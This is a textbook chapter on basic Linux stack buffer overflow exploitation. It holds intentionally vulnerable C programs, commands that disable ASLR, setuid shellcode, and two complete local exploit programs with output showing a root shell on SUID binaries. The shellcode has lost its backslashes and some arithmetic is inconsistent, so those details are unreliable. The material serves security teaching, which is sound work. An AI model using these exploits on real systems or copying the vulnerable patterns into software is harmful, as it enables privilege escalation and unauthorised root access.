CHAPTER 11
Basic Linux Exploits

Why study exploits? Ethical hackers should study exploits to understand if a vulnerability is exploitable. Sometimes security professionals will mistakenly believe and publish the statement: “The vulnerability is not exploitable.” The black hat hackers know otherwise. They know that just because one person could not find an exploit to the vulnerability, that doesn’t mean someone else won’t find it. It is all a matter of time and skill level. Therefore, gray hat, ethical hackers must understand how to exploit vulnerabilities and check for themselves. In the process, they may need to produce proof of concept code to demonstrate to the vendor that the vulnerability is exploitable and needs to be fixed.

In this chapter, we cover basic Linux exploit concepts:

• Stack operations

• Buffer overflows

• Local buffer overflow exploits

• Exploit development process

Stack Operations

The stack is one of the most interesting capabilities of an operating system. The concept of a stack can best be explained by comparing it to the stack of lunch trays in your school cafeteria. When you put a tray on the stack, the tray that was previously on top of the stack is covered up. When you take a tray from the stack, you take the tray from the top of the stack, which happens to be the last one put on. More formally, in computer science terms, the stack is a data structure that has the quality of a first in, last out (FILO) queue.

The process of putting items on the stack is called a push and is done in the assembly code language with the push command. Likewise, the process of taking an item from the stack is called a pop and is accomplished with the pop command in assembly language code.

In memory, each process maintains its own stack within the stack segment of memory. Remember, the stack grows backward from the highest memory addresses to the lowest. Two important registers deal with the stack: extended base pointer (ebp) and extended stack pointer (esp). As Figure 11-1 indicates, the ebp register is the base of the current stack frame of a process (higher address). The esp register always points to the top of the stack (lower address).

Image

Figure 11-1 The relationship of ebp and esp on a stack

Function Calling Procedure

As explained in Chapter 10, a function is a self-contained module of code that is called by other functions, including the main() function. This call causes a jump in the flow of the program. When a function is called in assembly code, three things take place:

• By convention, the calling program sets up the function call by first placing the function parameters on the stack in reverse order.

• Next, the extended instruction pointer (eip) is saved on the stack so the program can continue where it left off when the function returns. This is referred to as the return address.

• Finally, the call command is executed, and the address of the function is placed in eip to execute.


Image

NOTE

The assembly shown in this chapter is produced with the following gcc compile option: –fno-stack-protector (as described in Chapter 10). This disables stack protection, which helps you to learn about buffer overflows. A discussion of recent memory and compiler protections is left for Chapter 12.


In assembly code, the function call looks like this:


   0x8048393 <main+3>:    mov    0xc(%ebp),%eax
   0x8048396 <main+6>:    add    $0x8,%eax
   0x8048399 <main+9>:    pushl   (%eax)
   0x804839b <main+11>:   mov    0xc(%ebp),%eax
   0x804839e <main+14>:   add    $0x4,%eax
   0x80483a1 <main+17>:   pushl  (%eax)
   0x80483a3 <main+19>:   call   0x804835c <greeting>

The called function’s responsibilities are first to save the calling program’s ebp register on the stack, then to save the current esp register to the ebp register (setting the current stack frame), and then to decrement the esp register to make room for the function’s local variables. Finally, the function gets an opportunity to execute its statements. This process is called the function prolog.

In assembly code, the prolog looks like this:


   0x804835c <greeting>:  push  %ebp
   0x804835d <greeting+1>:   mov   %esp,%ebp
   0x804835f <greeting+3>:   sub   $0x190,%esp

The last thing a called function does before returning to the calling program is to clean up the stack by incrementing esp to ebp, effectively clearing the stack as part of the leave statement. Then the saved eip is popped off the stack as part of the return process. This is referred to as the function epilog. If everything goes well, eip still holds the next instruction to be fetched and the process continues with the statement after the function call.

In assembly code, the epilog looks like this:


   0x804838e <greeting+50>:  leave
   0x804838f <greeting+51>:  ret

You will see these small bits of assembly code over and over when looking for buffer overflows.

References

Buffer overflow en.wikipedia.org/wiki/Buffer_overflow

Intel x86 Function-call Conventions – Assembly View (Steve Friedl)

www.unixwiz.net/techtips/win32-callconv-asm.html

Buffer Overflows

Now that you have the basics down, we can get to the good stuff.

As described in Chapter 10, buffers are used to store data in memory. We are mostly interested in buffers that hold strings. Buffers themselves have no mechanism to keep you from putting too much data in the reserved space. In fact, if you get sloppy as a programmer, you can quickly outgrow the allocated space. For example, the following declares a string in memory of 10 bytes:


   char  str1[10];

So what happens if you execute the following?


   strcpy (str1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");

Let's find out.


   //overflow.c
   #include <string.h>
   main(){
         char str1[10];  //declare a 10 byte string
         //next, copy 35 bytes of "A" to str1
         strcpy (str1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
   }

Then compile and execute the program as follows:


   $  //notice we start out at user privileges "$"
   $gcc –ggdb –mpreferred-stack-boundary=2 –fno-stack-protector –o overflow
   overflow.c./overflow
   09963:  Segmentation fault

Why did you get a segmentation fault? Let’s see by firing up gdb:


   $gdb –q overflow
   (gdb) run
   Starting program: /book/overflow

   Program received signal SIGSEGV, Segmentation fault.
   0x41414141 in ?? ()
   (gdb) info reg eip
   eip            0x41414141  0x41414141
   (gdb) q
   A debugging session is active.
   Do you still want to close the debugger?(y or n) y
   $

As you can see, when you ran the program in gdb, it crashed when trying to execute the instruction at 0x41414141, which happens to be hex for AAAA (A in hex is 0x41). Next you can check whether eip was corrupted with A’s: yes, eip is full of A’s and the program was doomed to crash. Remember, when the function (in this case, main) attempts to return, the saved eip value is popped off of the stack and executed next. Since the address 0x41414141 is out of your process segment, you got a segmentation fault.


Image

CAUTION

Fedora and other recent builds use address space layout randomization (ASLR) to randomize stack memory calls and will have mixed results for the rest of this chapter. If you wish to use one of these builds, disable ASLR as follows:


   #echo "0" > /proc/sys/kernel/randomize_va_space
   #echo "0" > /proc/sys/kernel/exec-shield
   #echo "0" > /proc/sys/kernel/exec-shield-randomize


Now, let’s look at attacking meet.c

Overflow of meet.c

From Chapter 10, we have meet.c:


   //meet.c#include <stdio.h>    // needed for screen printing

   #include <string.h>
   greeting(char *temp1,char *temp2){ // greeting function to say hello
      char name[400];     // string variable to hold the name
      strcpy(name, temp2);      // copy the function argument to name
      printf("Hello %s %s ", temp1, name); //print out the greeting
   }
   main(int argc, char * argv[]){      //note the format for arguments
      greeting(argv[1], argv[2]);      //call function, pass title & name
      printf("Bye %s %s ", argv[1], argv[2]);  //say "bye"
   }  //exit program

To overflow the 400-byte buffer in meet.c, you will need another tool, perl. Perl is an interpreted language, meaning that you do not need to precompile it, making it very handy to use at the command line. For now you only need to understand one perl command:


   `perl –e 'print "A" x 600'`


Image

NOTE

backticks (`) are used to wrap perl commands and have the shell interpreter execute the command and return the value.


This command will simply print 600 A’s to standard out—try it!

Using this trick, you will start by feeding ten A’s to your program (remember, it takes two parameters):


   #  //notice, we have switched to root user "#"
   #gcc –ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack –o
   meet meet.c
   #./meet Mr `perl –e 'print "A" x 10'`
   Hello Mr AAAAAAAAAA
   Bye Mr AAAAAAAAAA
   #

Next you will feed 600 A’s to the meet.c program as the second parameter, as follows:


   #./meet Mr `perl –e 'print "A" x 600'`
   Segmentation fault

As expected, your 400-byte buffer was overflowed; hopefully, so was eip. To verify, start gdb again:


   # gdb –q meet
   (gdb) run Mr `perl -e 'print "A" x 600'`
   Starting program: /book/meet Mr `perl -e 'print "A" x 600'`
   Program received signal SIGSEGV, Segmentation fault.
   0x4006152d in strlen () from /lib/libc.so.6
   (gdb) info reg eip
   eip 0x4006152d 0x4006152d


Image

NOTE

Your values will be different—it is the concept we are trying to get across here, not the memory values.


Not only did you not control eip, you have moved far away to another portion of memory. If you take a look at meet.c, you will notice that after the strcpy() function in the greeting function, there is a printf() call. That printf, in turn, calls vfprintf() in the libc library. The vfprintf() function then calls strlen. But what could have gone wrong? You have several nested functions and thereby several stack frames, each pushed on the stack. As you overflowed, you must have corrupted the arguments passed into the function. Recall from the previous section that the call and prolog of a function leave the stack looking like the following illustration:

Image

If you write past eip, you will overwrite the function arguments, starting with temp1. Since the printf() function uses temp1, you will have problems. To check out this theory, let’s check back with gdb:


   (gdb)
   (gdb)  list
   1        //meet.c
   2        #include <stdio.h>
   3        greeting(char* temp1,char* temp2){
   4            char name[400];
   5            strcpy(name, temp2);
   6            printf("Hello %s %s ", temp1, name);
   7        }
   8        main(int argc, char * argv[]){
   9           greeting(argv[1],argv[2]);
   10          printf("Bye %s %s ", argv[1], argv[2]);
   (gdb)  b 6
   Breakpoint 1 at 0x8048377: file meet.c, line 6.
   (gdb)
   (gdb) run Mr `perl -e 'print "A" x 600'`
   Starting program: /book/meet Mr `perl -e 'print "A" x 600'`

   Breakpoint 1, greeting (temp1=0x41414141 "", temp2=0x41414141 "") at meet.c:6
   6            printf("Hello %s %s ", temp1, name);

You can see in the preceding bolded line that the arguments to your function, temp1 and temp2, have been corrupted. The pointers now point to 0x41414141 and the values are “” or null. The problem is that printf() will not take nulls as the only inputs and chokes. So let’s start with a lower number of A’s, such as 401, and then slowly increase until we get the effect we need:


   (gdb) d 1               <remove breakpoint 1>
   (gdb) run Mr `perl -e 'print "A" x 401'`
   The program being debugged has been started already.
   Start it from the beginning? (y or n) y

   Starting program: /book/meet Mr `perl -e 'print "A" x 401'`
   Hello Mr
   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   [more 'A's removed for brevity]
   AAA

   Program received signal SIGSEGV, Segmentation fault. 
   main (argc=0, argv=0x0) at meet.c:10
   10  printf("Bye %s %s ", argv[1], argv[2]);
   (gdb)
   (gdb) info reg ebp eip
   ebp            0xbfff0041   0xbfff0041
   eip            0x80483ab    0x80483ab
   (gdb)
   (gdb) run Mr `perl -e 'print "A" x 404'`
   The program being debugged has been started already.
   Start it from the beginning? (y or n) y
   Starting program: /book/meet Mr `perl -e 'print "A" x 404'`
   Hello Mr
   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   [more 'A's removed for brevity]
   AAA

   Program received signal SIGSEGV, Segmentation fault.
   0x08048300 in __do_global_dtors_aux ()
   (gdb)
   (gdb) info reg ebp eip
   ebp  0x41414141  0x41414141
   eip  0x8048300  0x8048300
   (gdb)
   (gdb) run Mr `perl -e 'print "A" x 408'`
   The program being debugged has been started already.
   Start it from the beginning? (y or n) y

   Starting program: /book/meet Mr `perl -e 'print "A" x 408'`
   Hello
   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   [more 'A's removed for brevity]
   AAAAAAA

   Program received signal SIGSEGV, Segmentation fault.
   0x41414141 in ?? ()
   (gdb) q
   A debugging session is active.
   Do you still want to close the debugger?(y or n) y
   #

As you can see, when a segmentation fault occurs in gdb, the current value of eip is shown.

It is important to realize that the numbers (400–408) are not as important as the concept of starting low and slowly increasing until you just overflow the saved eip and nothing else. This was because of the printf call immediately after the overflow. Sometimes you will have more breathing room and will not need to worry about this as much. For example, if there were nothing following the vulnerable strcpy command, there would be no problem overflowing beyond 408 bytes in this case.


Image

NOTE

Remember, we are using a very simple piece of flawed code here; in real life you will encounter problems like this and more. Again, it’s the concepts we want you to get, not the numbers required to overflow a particular vulnerable piece of code.


Ramifications of Buffer Overflows

When dealing with buffer overflows, there are basically three things that can happen. The first is denial of service. As we saw previously, it is really easy to get a segmentation fault when dealing with process memory. However, it’s possible that is the best thing that can happen to a software developer in this situation, because a crashed program will draw attention. The other alternatives are silent and much worse.

The second thing that can happen when a buffer overflow occurs is that the eip can be controlled to execute malicious code at the user level of access. This happens when the vulnerable program is running at the user level of privilege.

The third and absolutely worst thing that can happen when a buffer overflow occurs is that the eip can be controlled to execute malicious code at the system or root level. In Unix systems, there is only one superuser, called root. The root user can do anything on the system. Some functions on Unix systems should be protected and reserved for the root user. For example, it would generally be a bad idea to give users root privileges to change passwords, so a concept called Set User ID (SUID) was developed to temporarily elevate a process to allow some files to be executed under their owner’s privilege level. So, for example, the passwd command can be owned by root and when a user executes it, the process runs as root. The problem here is that when the SUID program is vulnerable, an exploit may gain the privileges of the file’s owner (in the worst case, root). To make a program an SUID, you would issue the following command:


   chmod u+s <filename> or chmod 4755 <filename>

The program will run with the permissions of the owner of the file. To see the full ramifications of this, let’s apply SUID settings to our meet program. Then later, when we exploit the meet program, we will gain root privileges.


   #chmod u+s meet
   #ls −l meet
   −rwsr−sr−x  1  root  root     11643 May 28 12:42 meet*

The first field of the preceding line indicates the file permissions. The first position of that field is used to indicate a link, directory, or file (l, d, or ). The next three positions represent the file owner’s permissions in this order: read, write, execute. Normally, an x is used for execute; however, when the SUID condition applies, that position turns to an s as shown. That means when the file is executed, it will execute with the file owner’s permissions, in this case root (the third field in the line). The rest of the line is beyond the scope of this chapter and can be learned about at the following KrnlPanic.com reference for SUID/GUID.

References

“Permissions Explained” (Richard Sandlin) www.krnlpanic.com/tutorials/permissions.php

“Smashing the Stack for Fun and Profit” (Aleph One, aka Aleph1) www.phrack.com/issues.html?issue=49&id=14#article

“Vulnerabilities in Your Code – Advanced Buffer Overflows” (CoreSecurity) packetstormsecurity.nl/papers/general/core_vulnerabilities.pdf

Local Buffer Overflow Exploits

Local exploits are easier to perform than remote exploits because you have access to the system memory space and can debug your exploit more easily.

The basic concept of buffer overflow exploits is to overflow a vulnerable buffer and change eip for malicious purposes. Remember, eip points to the next instruction to be executed. A copy of eip is saved on the stack as part of calling a function in order to be able to continue with the command after the call when the function completes. If you can influence the saved eip value, when the function returns, the corrupted value of eip will be popped off the stack into the register (eip) and be executed.

Components of the Exploit

To build an effective exploit in a buffer overflow situation, you need to create a larger buffer than the program is expecting, using the following components.

NOP Sled

In assembly code, the NOP command (pronounced “No-op”) simply means to do nothing but move to the next command (NO OPeration). This is used in assembly code by optimizing compilers by padding code blocks to align with word boundaries. Hackers have learned to use NOPs as well for padding. When placed at the front of an exploit buffer, it is called a NOP sled. If eip is pointed to a NOP sled, the processor will ride the sled right into the next component. On x86 systems, the 0x90 opcode represents NOP. There are actually many more, but 0x90 is the most commonly used.

Shellcode

Shellcode is the term reserved for machine code that will do the hacker’s bidding. Originally, the term was coined because the purpose of the malicious code was to provide a simple shell to the attacker. Since then, the term has evolved to encompass code that is used to do much more than provide a shell, such as to elevate privileges or to execute a single command on the remote system. The important thing to realize here is that shell-code is actually binary, often represented in hexadecimal form. There are tons of shell-code libraries online, ready to be used for all platforms. Chapter 14 will cover writing your own shellcode. Until that point, all you need to know is that shellcode is used in exploits to execute actions on the vulnerable system. We will use Aleph1’s shellcode (shown within a test program) as follows:


   //shellcode.c
   char shellcode[] =  //setuid(0) & Aleph1's famous shellcode, see ref.
         "x31xc0x31xdbxb0x17xcdx80"  //setuid(0) first
         "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
         "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
         "x80xe8xdcxffxffxff/bin/sh";

   int main() {      //main function
      int *ret;      //ret pointer for manipulating saved return.
      ret = (int *)&ret + 2;   //setret to point to the saved return
                               //value on the stack.
      (*ret) = (int)shellcode; //change the saved return value to the
                               //address of the shellcode, so it executes.
   }

Let’s check it out by compiling and running the test shellcode.c program:


   #                      //start with root level privileges
   #gcc −mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o
   shellcode shellcode.c –o shellcode shellcode.c
   #chmod u+s shellcode
   #su joeuser           //switch to a normal user (any)
   $./shellcode
   sh-2.05b#

It worked—we got a root shell prompt.


Image

NOTE

We used compile options to disable memory and compiler protections in recent versions of Linux. We did this to aide in learning the subject at hand. See Chapter 12 for a discussion of those protections.


Repeating Return Addresses

The most important element of the exploit is the return address, which must be aligned perfectly and repeated until it overflows the saved eip value on the stack. Although it is possible to point directly to the beginning of the shellcode, it is often much easier to be a little sloppy and point to somewhere in the middle of the NOP sled. To do that, the first thing you need to know is the current esp value, which points to the top of the stack. The gcc compiler allows you to use assembly code inline and to compile programs as follows:


   #include <stdio.h>
   unsigned int get_sp(void){
           __asm__("movl %esp, %eax");
   }
   int main(){
           printf("Stack pointer (ESP): 0x%x ", get_sp());
   }
   # gcc −o get_sp get_sp.c
   # ./get_sp
   Stack pointer (ESP): 0xbffffbd8       //remember that number for later

Remember that esp value; we will use it soon as our return address, though yours will be different.

At this point, it may be helpful to check whether your system has ASLR turned on. You can check this easily by simply executing the last program several times in a row. If the output changes on each execution, then your system is running some sort of stack randomization scheme.


   # ./get_sp
   Stack pointer (ESP): 0xbffffbe2
   # ./get_sp
   Stack pointer (ESP): 0xbffffba3
   # ./get_sp
   Stack pointer (ESP): 0xbffffbc8

Until you learn later how to work around that, go ahead and disable ASLR as described in the Caution earlier in this chapter:


   # echo "0" > /proc/sys/kernel/randomize_va_space  #on slackware systems

Now you can check the stack again (it should stay the same):


   # ./get_sp
   Stack pointer (ESP): 0xbffffbd8
   # ./get_sp
   Stack pointer (ESP): 0xbffffbd8          //remember that number for later

Now that we have reliably found the current esp, we can estimate the top of the vulnerable buffer. If you still are getting random stack addresses, try another one of the echo lines shown previously.

These components are assembled (like a sandwich) in the order shown here:

Image

As can be seen in the illustration, the addresses overwrite eip and point to the NOP sled, which then slides to the shellcode.

Exploiting Stack Overflows from the Command Line

Remember, the ideal size of our attack buffer (in this case) is 408. So we will use perl to craft an exploit sandwich of that size from the command line. As a rule of thumb, it is a good idea to fill half of the attack buffer with NOPs; in this case, we will use 200 with the following perl command:


   perl -e 'print "90"x200';

A similar perl command will allow you to print your shellcode into a binary file as follows (notice the use of the output redirector >):


   $ perl -e 'print
   "x31xc0x31xdbxb0x17xcdx80xebx1fx5ex89x76x08x31xc0x88x46
   x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89
   xd8x40xcdx80xe8xdcxffxffxff/bin/sh";' > sc
   $

You can calculate the size of the shellcode with the following command:


   $ wc –c sc
   53 sc

Next we need to calculate our return address, which will be repeated until it overwrites the saved eip on the stack. Recall that our current esp is 0xbffffbd8. When attacking from the command line, it is important to remember that the command-line arguments will be placed on the stack before the main function is called. Since our 408-byte attack string will be placed on the stack as the second command-line argument, and we want to land somewhere in the NOP sled (the first half of the buffer), we will estimate a landing spot by subtracting 0x300 (decimal 264) from the current esp as follows:


   0xbffffbd8 − 0x300 = 0xbffff8d8

Now we can use perl to write this address in little-endian format on the command line:


   perl −e 'print"xd8xf8xffxbf"x38';

The number 38 was calculated in our case with some simple modulo math:


   (408 bytes-200 bytes of NOP − 53 bytes of Shellcode) / 4 bytes of address = 38.75

When perl commands are be wrapped in backticks (`), they may be concatenated to make a larger series of characters or numeric values. For example, we can craft a 408-byte attack string and feed it to our vulnerable meet.c program as follows:


   $ ./meet mr `perl -e 'print "x90"x200';``cat sc``perl -e 'print
   "xd8xfbxffxbf"x38';`
   Segmentation fault

This 405-byte attack string is used for the second argument and creates a buffer overflow as follows:

• 200 bytes of NOPs (“x90”)

• 53 bytes of shellcode

• 152 bytes of repeated return addresses (remember to reverse it due to little-endian style of x86 processors)

Since our attack buffer is only 405 bytes (not 408), as expected, it crashed. The likely reason for this lies in the fact that we have a misalignment of the repeating addresses. Namely, they don’t correctly or completely overwrite the saved return address on the stack. To check for this, simply increment the number of NOPs used:


   $ ./meet mr `perl -e 'print "x90"x201';``cat sc``perl -e 'print
   "xd8xf8xffxbf"x38';`
   Segmentation fault
   $ ./meet mr `perl -e 'print "x90"x202';``cat sc``perl -e "print
   "xd8xf8xffxbf"x38';`
   Segmentation fault
   $ ./meet mr `perl -e 'print "x90"x203';``cat sc``perl -e 'print
   "xd8xf8xffxbf"x38';`
   Hello ë^1ÀFF
   ...truncated for brevity...


   Í1ÛØ@ÍèÜÿÿÿ/bin/shØûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Ø
   ÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Ø
   ÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Ø
   ÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿
   sh-2.05b#

It worked! The important thing to realize here is how the command line allowed us to experiment and tweak the values much more efficiently than by compiling and debugging code.

Exploiting Stack Overflows with Generic Exploit Code

The following code is a variation of many stack overflow exploits found online and in the references. It is generic in the sense that it will work with many exploits under many situations.


   //exploit.c
   #include <unistd.h>
   #include <stdlib.h>
   #include <string.h>
   #include <stdio.h>
   char shellcode[] =  //setuid(0) & Aleph1's famous shellcode, see ref.
         "x31xc0x31xdbxb0x17xcdx80"  //setuid(0) first
         "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
         "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
         "x80xe8xdcxffxffxff/bin/sh";
   //Small function to retrieve the current esp value (only works locally)
   unsigned long get_sp(void){
      __asm__("movl %esp, %eax");
   }
   int main(int argc, char *argv[1]) {      //main function
      int i, offset = 0;                    //used to count/subtract later
      unsigned int esp, ret, *addr_ptr;     //used to save addresses
      char *buffer, *ptr;                   //two strings: buffer, ptr
      int size = 500;                       //default buffer size
 
      esp = get_sp();                       //get local esp value
      if(argc > 1) size = atoi(argv[1]);    //if 1 argument, store to size
      if(argc > 2) offset = atoi(argv[2]);  //if 2 arguments, store offset
      if(argc > 3) esp = strtoul(argv[3],NULL,0); //used for remote exploits
      ret = esp - offset;  //calc default value of return
      
      //print directions for usefprintf(stderr,"Usage: %s<buff_size> <offset>
      <esp:0xfff...> ", argv[0]);       //print feedback of operation
      fprintf(stderr,"ESP:0x%x  Offset:0x%x  Return:0x%x ",esp,offset,ret);
      buffer = (char *)malloc(size);     //allocate buffer on heap
      ptr = buffer;  //temp pointer, set to location of buffer
      addr_ptr = (unsigned int *) ptr;   //temp addr_ptr, set to location of ptr
      //Fill entire buffer with return addresses, ensures proper alignment
      for(i=0; i < size; i+=4){          // notice increment of 4 bytes for addr
         *(addr_ptr++) = ret;            //use addr_ptr to write into buffer
      }
      //Fill 1st half of exploit buffer with NOPs
      for(i=0; i < size/2; i++){         //notice, we only write up to half of size
            buffer[i] = 'x90';          //place NOPs in the first half of buffer
      } 
      //Now, place shellcode
      ptr = buffer + size/2;             //set the temp ptr at half of buffer size
      for(i=0; i < strlen(shellcode); i++){ //write 1/2 of buffer til end of sc
           *(ptr++) = shellcode[i];     //write the shellcode into the buffer
      }
      //Terminate the string
      buffer[size-1]=0;                 //This is so our buffer ends with a x
      //Now, call the vulnerable program with buffer as 2nd argument.
      execl("./meet", "meet", "Mr.",buffer,0);//the list of args is ended w/0
      printf("%s ",buffer);  //used for remote exploits
      //Free up the heap
      free(buffer);                    //play nicely
      return 0;                        //exit gracefully
   }

The program sets up a global variable called shellcode, which holds the malicious shell-producing machine code in hex notation. Next a function is defined that will return the current value of the esp register on the local system. The main function takes up to three arguments, which optionally set the size of the overflowing buffer, the offset of the buffer and esp, and the manual esp value for remote exploits. User directions are printed to the screen, followed by the memory locations used. Next the malicious buffer is built from scratch, filled with addresses, then NOPs, then shellcode. The buffer is terminated with a null character. The buffer is then injected into the vulnerable local program and printed to the screen (useful for remote exploits).

Let’s try our new exploit on meet.c:


   # gcc –ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o
   meet meet.c# chmod u+s meet
   # useradd –m joe
   # su joe
   $ ./exploit 600
   Usage: ./exploit <buff_size> <offset> <esp:0xfff...>
   ESP:0xbffffbd8  Offset:0x0  Return:0xbffffbd8
   Hello ë^1ÀFF
   ...truncated for brevity...
   Í1ÛØ@ÍèÜÿÿÿ/bin/sh¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿
   ûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿
   ûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ¿Øûÿ
   sh-2.05b# whoami
   root
   sh-2.05b# exit
   exit
   $

It worked! Notice how we compiled the program as root and set it as a SUID program. Next we switched privileges to a normal user and ran the exploit. We got a root shell, and it worked well. Notice that the program did not crash with a buffer at size 600 as it did when we were playing with perl in the previous section. This is because we called the vulnerable program differently this time, from within the exploit. In general, this is a more tolerant way to call the vulnerable program; your results may vary.

Exploiting Small Buffers

What happens when the vulnerable buffer is too small to use an exploit buffer as previously described? Most pieces of shellcode are 21–50 bytes in size. What if the vulnerable buffer you find is only 10 bytes long? For example, let’s look at the following vulnerable code with a small buffer:


   #
   # cat smallbuff.c
   //smallbuff.c  This is a sample vulnerable program with a small buffer
   int main(int argc, char * argv[]){
      char buff[10];       //small buffer
      strcpy( buff, argv[1]);  //problem: vulnerable function call
   }

Now compile it and set it as SUID:


   # gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o
   smallbuff smallbuff.c
   # chmod u+s smallbuff
   # ls -l smallbuff
   -rwsr-xr-x  1 root  root  4192 Apr 23 00:30 smallbuff
   # cp smallbuff /home/joe
   # su - joe
   $ pwd
   /home/joe
   $

Now that we have such a program, how would we exploit it? The answer lies in the use of environment variables. You would store your shellcode in an environment variable or somewhere else in memory, then point the return address to that environment variable as follows:


   $ cat exploit2.c
   //exploit2.c  works locally when the vulnerable buffer is small.
   #include <stdlib.h>
   #include <string.h>
   #include <unistd.h>
   #include <stdio.h>
   #define VULN "./smallbuff"
   #define SIZE 160
   char shellcode[] =  //setuid(0) & Aleph1's famous shellcode, see ref.
         "x31xc0x31xdbxb0x17xcdx80"  //setuid(0) first
         "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
         "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
         "x80xe8xdcxffxffxff/bin/sh";
   int main(int argc, char **argv){
         // injection buffer
         char p[SIZE];
         // put the shellcode in target's envp
         char *env[] = { shellcode, NULL };
         // pointer to array of arrays, what to execute
         char *vuln[] = { VULN, p, NULL }; 
         int *ptr, i, addr;
         // calculate the exact location of the shellcode
         addr = 0xbffffffa - strlen(shellcode) - strlen(VULN);
         fprintf(stderr, "[***] using address: %#010x ", addr);
         /* fill buffer with computed address */
         ptr = (int * )(p+2);  //start 2 bytes into array for stack alignment
         for (i = 0; i < SIZE; i += 4){
            *ptr++ = addr;
         }
         //call the program with execle, which takes the environment as input
         execle(vuln[0], (char *)vuln,p,NULL, env);
         exit(1);
   }
   $ gcc -o exploit2 exploit2.c
   $ ./exploit2
   [***] using address: 0xbfffffc2
   sh-2.05b# whoami
   root
   sh−2.05b# exit
   exit
   $exit

Why did this work? It turns out that a Turkish hacker named Murat Balaban published this technique, which relies on the fact that all Linux ELF files are mapped into memory with the last relative address as 0xbfffffff. Remember from Chapter 10 that the environment and arguments are stored up in this area. Just below them is the stack. Let’s look at the upper process memory in detail:

Image

Notice how the end of memory is terminated with null values, and then comes the program name, then the environment variables, and finally the arguments. The following line of code from exploit2.c sets the value of the environment for the process as the shellcode:


   char *env[] = { shellcode, NULL };

That places the beginning of the shellcode at the precise location:


   Addr of shellcode=0xbffffffa−length(program name)−length(shellcode).

Let’s verify that with gdb. First, to assist with the debugging, place a xcc at the beginning of the shellcode to halt the debugger when the shellcode is executed. Next, recompile the program and load it into the debugger:


   # gcc −o exploit2 exploit2.c  # after adding xcc before shellcode
   # gdb exploit2 --quiet
   (no debugging symbols found)...(gdb)
   (gdb) run
   Starting program: /root/book/exploit2
   [***] using address: 0xbfffffc2
   (no debugging symbols found)...(no debugging symbols found)...
   Program received signal SIGTRAP, Trace/breakpoint trap.
   0x40000b00 in _start () from /lib/ld-linux.so.2
   (gdb) x/20s 0xbfffffc2      /*this was output from exploit2 above */
   0xbfffffc2:
   "ë37^211v1À210Fa211Ff°v211ó215N215VfÍ2001Û211Ø@Í200èÜÿÿÿ
   bin/sh"
   0xbffffff0:      "./smallbuff"
   0xbffffffc:      ""
   0xbffffffd:      ""
   0xbffffffe:      ""
   0xbfffffff:      ""
   0xc0000000:      <Address 0xc0000000 out of bounds>
   0xc0000000:      <Address 0xc0000000 out of bounds>

References

Buffer Overflow Exploits Tutorial mixter.void.ru/exploit.html

Buffer Overflows Demystified (Murat Balaban) www.enderunix.org/docs/eng/ bof-eng.txt

Hacking: The Art of Exploitation, Second Edition (Jon Erickson) No Starch Press, 2008

“Smashing the Stack for Fun and Profit” (Aleph One) www.phrack.com/issues.html?issue=49&id=14#article

“Vulnerabilities in Your Code – Advanced Buffer Overflows” (CoreSecurity) packetstormsecurity.nl/papers/general/core_vulnerabilities.pdf

Exploit Development Process

Now that we have covered the basics, you are ready to look at a real-world example. In the real world, vulnerabilities are not always as straightforward as the meet.c example and require a repeatable process to successfully exploit. The exploit development process generally follows these steps:

• Control eip

• Determine the offset(s)

• Determine the attack vector

• Build the exploit sandwich

• Test the exploit

• Debug the exploit if needed

At first, you should follow these steps exactly; later, you may combine a couple of these steps as required.

Control eip

